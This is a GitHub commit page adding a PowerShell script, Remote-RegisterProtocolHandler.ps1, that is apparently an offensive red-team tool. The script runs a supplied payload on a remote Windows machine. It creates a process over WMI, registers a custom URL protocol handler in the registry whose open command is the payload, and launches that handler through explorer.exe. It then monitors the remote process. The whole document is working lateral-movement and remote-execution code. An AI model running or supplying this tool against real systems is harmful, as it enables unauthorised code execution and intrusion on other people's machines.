Skip to content

Commit

Permalink
Create Remote-RegisterProtocolHandler.ps1
Browse files Browse the repository at this point in the history
  • Loading branch information
Mr-Un1k0d3r authored Jan 10, 2020
1 parent 4bd3ba8 commit c87eb97
Showing 1 changed file with 39 additions and 0 deletions.
39 changes: 39 additions & 0 deletions scripts/Remote-RegisterProtocolHandler.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
function Remote-RegisterProtocolHandler {
param(
[Parameter(Mandatory=$True)]
[string]$Payload,
[Parameter(Mandatory=$True)]
[string]$ComputerName,
[Parameter(Mandatory=$False)]
[string]$Handler = "ms-browse"
)

BEGIN {
Write-Output "[+] Executing payload on $($ComputerName)"
}

PROCESS {
$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::CurrentUser, $ComputerName)

$Command = "cmd.exe /Q /c reg add HKEY_CURRENT_USER\Software\Classes\$($Handler) /d ""URL: $($Handler)"" /v ""URL Protocol"" /f && reg add HKEY_CURRENT_USER\Software\Classes\$($Handler)\shell\open\command /d ""$($Payload)"" && explorer.exe $($Handler)://"

Write-Output "[+] Invoking $($Command) over WMI"

$Process = Invoke-WmiMethod -ComputerName $ComputerName -Class Win32_Process -Name Create -ArgumentList $Command

Try {
Write-Output "[+] Remote Process PID: $($process.ProcessId)"
Register-WmiEvent -ComputerName $ComputerName -Query "Select * from Win32_ProcessStopTrace Where ProcessID=$($process.ProcessId)" -Action {
$state = $event.SourceEventArgs.NewEvent;
Write-Host "[+] Remote process status:`nPID: $($state.ProcessId)`nState: $($state.State)`nStatus: $($state.Status)"
}
} Catch {
$_
Write-Host "[-] Process Status couldn't be retrieved"
}
}

END {
Write-Output "[+] Process completed..."
}
}

0 comments on commit c87eb97

Please sign in to comment.